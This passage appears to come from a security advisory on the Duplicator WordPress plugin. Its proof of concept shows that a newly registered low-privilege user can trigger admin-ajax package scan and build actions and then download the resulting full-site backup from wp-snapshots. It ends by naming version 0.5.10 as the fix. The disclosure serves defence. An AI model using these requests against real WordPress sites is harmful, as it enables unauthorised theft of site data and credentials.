2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then start scan:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_scan

After that you can build backup:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_build

This function will return json with backup name inside File key.

You can download backup using:

http://wordpress-url/wp-snapshots/%file_name_from_json%

3. Solution:
  
Update to version 0.5.10
